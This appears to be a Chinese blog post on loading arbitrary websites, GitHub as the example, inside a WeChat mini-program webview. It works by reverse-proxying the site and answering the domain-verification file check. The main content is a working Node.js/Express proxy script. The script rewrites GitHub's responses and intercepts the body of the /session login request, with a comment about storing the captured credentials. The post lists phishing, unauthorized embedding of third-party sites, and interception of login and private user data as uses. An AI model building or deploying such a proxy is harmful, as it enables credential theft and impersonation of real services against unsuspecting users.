微信小程序 webview 跳过校验文件
要做什么?
早些年 初探前端时,经常会去 github 上探索前端的库、插件、和框架,看看有没有好玩的和提升工作效率的轮子。
当时冒出个奇怪想法,有没有一种可能把 Github 直接在微信小程序中打开?
但是尝试之后,最后发现了一些其它应用场景~~~
怎么做?
- 大致方向就是把 github 塞进小程序中,原生小程序不太现实,那就把网页塞进程序。
- 小程序中可以运行网页,使用 webview 组件。
- 然后就是将指定域名的请求代理到 github。
- 理论可行,开干!
了解微信小程序 webview 访问页面的原理。
简介:微信小程序中的 webview 是承载网页的容器,可以不进行小程序审核发版的情况下进行版本快速迭代。
查阅文档了解到,网页满足两点即可通过 webview 访问
小程序后台配置业务域名
https 域名
代理
Nginx 代理:Nginx,Apache(优点:简单速度;缺点:灵活程度低)
Nginx 配置
1
2
3
4#全局资源代理
location ~ .*$ {
proxy_pass https://github.com;
}
中转方案:将访问的所有请求代理至目标站点并将返回内容返回至客户端
- 使用 nodejs 中的 express 框架做路由转发
- 解决其它错误问题(编码,跨域,cookie,…)
附代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129/**
* 微信小程序webview跳过校验文件将任何网页放入小程序
*/
const express = require("express");
const https = require("https");
const http = require("http");
const fs = require("fs");
const request = require("request");
// 此域名已经被更改hosts文件指向本机
const HOST = "demo.yunjv.net";
// 目标域名
const TargetHost = "github.com";
// 完整域名
const Target = `https://${TargetHost}`;
// 读取SSL密钥和签名证书
const options = {
key: fs.readFileSync("./resource/keys/server.key"),
cert: fs.readFileSync("./resource/keys/server.pem"),
};
// 创建web服务
const app = express();
// 注册https监听
const httpsServer = https.createServer(options, app);
// 注册http监听
const httpServer = http.createServer(app);
// 读取body的中间件
// app.use(express.json()); // for parsing application/json
app.use(express.urlencoded({ extended: true })); // for parsing application/x-www-form-urlencoded
// 小程序webview业务域名秘钥
app.get("/xxx.txt", (req, res) => {
res.send("xxxxxxxxxxxxxxxxxxxxxxxx");
});
// 监听所有请求
app.all("*", (req, res) => {
// 请求配置
const options = {
url: `${Target}${req.originalUrl}`,
method: req.method,
headers: {
...req.headers,
host: TargetHost, // 请求的服务器网址
origin: req.headers.origin ? Target : undefined, // 指定来自github.com的请求
referer: req.headers.referer?.replace(HOST, TargetHost), // 将referer中的host替换为目标host
"accept-encoding": undefined, // 指定编码方式
},
form: req.rawHeaders.includes(
"application/x-www-form-urlencoded"
)
? req.body
: undefined,
};
switch (TargetHost) {
case "github.com":
// 拦截github登录信息
switch (req.url) {
case "/session":
// 拦截后信息处理代码块(存储数据库、或执行其它处理)
console.log(req.body);
break;
}
break;
case "gitee.com":
// 码云静态资源转发
options.url =
"https://assets.gitee.com/" +
req.originalUrl.replace("/myAssets", "");
}
// 将请求转发到目标服务器
request(options, (err, response, body) => {
// 是否有错误
if (err) {
res.status(500).send("服务器错误");
return;
}
// 复制状态码
res.statusCode = response.statusCode;
// 将目标请求中的header返回
for (const key in response.headers) {
res.setHeader(key, response.headers[key]);
}
// 返回内容替换
switch (TargetHost) {
case "github.com":
// 手机端登录页iframe问题
body = body.replace(/https:\/\/octocaptcha.com/g, "/");
// 登录成功后重定向位置替换
if (response.statusCode === 302) {
res.setHeader("location", "/login");
}
// 测试
body = body.replace(
/Where the world builds software/g,
"你好,世界!"
);
break;
case "gitee.com":
// 静态资源
body = body.replace(
/https:\/\/assets.gitee.com/g,
"/myAssets"
);
break;
}
// 返回
res.send(body);
});
});
// https监听
httpsServer.listen(443, () => {
console.log("https://" + HOST);
});
// http监听
httpServer.listen(80, () => {
console.log("http://" + HOST);
});
失败方案
webview 指向一个 html 文件,在 html 文件中使用 iframe 指向目标网址(部分安卓机可以卡出 bug 访问)
最终以失败告终
应用场景
- 使用第三方站点丰富小程序内容
- 不经第三方站点授权即可直接放入小程序中(侵权)
- 快速搭建 DEMO 站点(中转方案)
- 返回内容替换为自己想要的内容
- 钓鱼(中转方案)
- 数据接口拦截(登录信息,用户隐私及其它信息)
-